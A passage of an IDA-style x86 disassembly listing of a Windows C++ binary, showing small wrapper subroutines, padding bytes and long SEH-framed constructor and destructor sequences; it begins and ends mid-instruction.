edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4160D5 mov edi, esi loc_4160D5: ; CODE XREF: ___:004160D1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160EA mov edi, esi loc_4160EA: ; CODE XREF: ___:004160E6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416110 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416150 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416170 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416190 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161F0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416220 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416220 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163DA loc_416398: ; CODE XREF: sub_416380+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416398 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_416380+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416380 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416410 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416425 mov edi, esi loc_416425: ; CODE XREF: ___:00416421j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41643A mov edi, esi loc_41643A: ; CODE XREF: ___:00416436j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416460 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416460 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416480 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416480 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164A0 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4164A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164C0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416540 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416590 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165C0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165E0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416610 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416610 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416630 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416630 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416650 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416670 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166A0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_4166A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416810 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416810 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416840 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416840 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416890 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168F0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416920 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41693B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41693B: ; CODE XREF: sub_416920+11j retn sub_416920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41698B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41698B: ; CODE XREF: sub_416970+11j retn sub_416970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169C0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169DB: ; CODE XREF: sub_4169C0+11j retn sub_4169C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜθ',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A90: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401776 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D00 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F050 test eax, eax jle short loc_416D17 push eax nop call near ptr 71AB9639h loc_416D17: ; CODE XREF: sub_416D00+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_416D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416D48: ; CODE XREF: sub_416D30+Dj mov eax, esi pop esi retn 4 sub_416D30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D60 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_416D77 push eax nop call near ptr 71AB9639h loc_416D77: ; CODE XREF: sub_416D60+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_416DA8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DA8: ; CODE XREF: ___:00416D9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416DC0 proc near ; CODE XREF: sub_401776j mov dword ptr [ecx], offset off_43F068 jmp sub_40204F sub_416DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401776 test byte ptr [esp+8], 1 jz short loc_416DF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DF8: ; CODE XREF: ___:00416DEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F074 add ecx, 4 jmp sub_401023 sub_416E10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4170B0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4170B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_4170B0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417120 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call 